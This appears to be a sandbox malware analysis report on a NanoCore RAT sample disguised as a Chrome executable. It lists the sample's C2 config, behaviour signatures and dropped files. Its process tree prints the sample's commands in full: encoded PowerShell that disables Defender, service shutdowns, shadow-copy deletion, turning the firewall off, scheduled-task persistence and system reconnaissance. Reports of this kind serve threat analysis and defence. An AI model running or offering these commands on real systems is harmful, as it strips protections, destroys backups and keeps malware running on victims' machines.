Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/08/2026, 16:21

General

  • Target
    socolive20.com_chrome.exe
  • Size 57KB
  • Sample260823-tt1fcsag36
  • SHA256 2c8835f989e20a10712e05486820305318bcfc7125632dc9f1c6e76ff844a8b7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://socolive20.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://socolive20.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4568
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2640
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5252
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4704
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2560
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3572
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5348
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1608
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4428
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3328
      • C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe"
        3⤵
          PID:2588
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:992
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1148
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:6036
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3952
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:5588
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:580
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3100
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:5924
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1708
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:2108
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4664
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1152
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4500
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6036
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            PID:4276
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1048
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
              PID:5936
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5544
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3596
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:2380
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:236
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:5264
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2720
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:3252
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4708
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:1576
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:2388
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4124
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5052
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:3020
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:4896
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:3184
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:4372
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1460
            • C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe
              1⤵
                PID:2968
              • C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\socolive20.com_chrome.exe
                1⤵
                  PID:304
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k GPSvcGroup
                  1⤵
                    PID:2244

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        scr_20260823_172337.jpg

                        • Path C:\ProgramData\SysUpdate\Scr\scr_20260823_172337.jpg
                        • Size 100KB
                        • SHA256 5e58d7ae3b1a391f4a0b821dc5b74215993ed5a937f5c1aeaf027f28d571fca2
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 76KB
                        • SHA256 05e211fffd3077aa191b58b337fb640796d6b61002bb39b7c2f747d3c53e6d43
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 76KB
                        • SHA256 f8f30647a1e99703faeb2f046fbc1b7e9024ecaa7eff8a965939268cb7d08912
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 246B
                        • SHA256 5f0f512e2b70e6eed00ebf70bc33660e31b3268646f634abb4a2326507412877
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 247B
                        • SHA256 30c7c32f3c4a119b6786c2aa28a472e4f1942a75432d14351afcf5299b12b252
                        • MD5 SHA1 SHA512 TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 133KB
                        • SHA256 63efb803de448d7cad97af2188729abd68b34d6b0f5e995408af5ec8ba75ac50
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 134KB
                        • SHA256 079f317f9bb135af090d887cb8cb1cf5e8539cf2a1075f7d30af1c2e7d3a7a6b
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/4480-4-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4480-1-0x0000000000E80000-0x0000000000E94000-memory.dmp

                        memory/4480-11-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4480-2280-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4480-2279-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4480-2277-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4480-5-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4480-48-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4480-3-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4480-2-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4480-0-0x00007FFD2973F000-0x00007FFD29740000-memory.dmp

                        memory/4568-13-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-25-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-49-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-41-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-24-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-22-0x000002553BCF0000-0x000002553BD0E000-memory.dmp

                        memory/4568-1971-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-29-0x000002553BDD0000-0x000002553BDDA000-memory.dmp

                        memory/4568-26-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-28-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-23-0x000002553BD10000-0x000002553BDC2000-memory.dmp

                        memory/4568-10-0x000002553B960000-0x000002553B982000-memory.dmp

                        memory/4568-18-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-17-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-15-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-14-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/4568-12-0x00007FFD295B0000-0x00007FFD29F54000-memory.dmp

                        memory/5924-2264-0x0000023A8A120000-0x0000023A8A121000-memory.dmp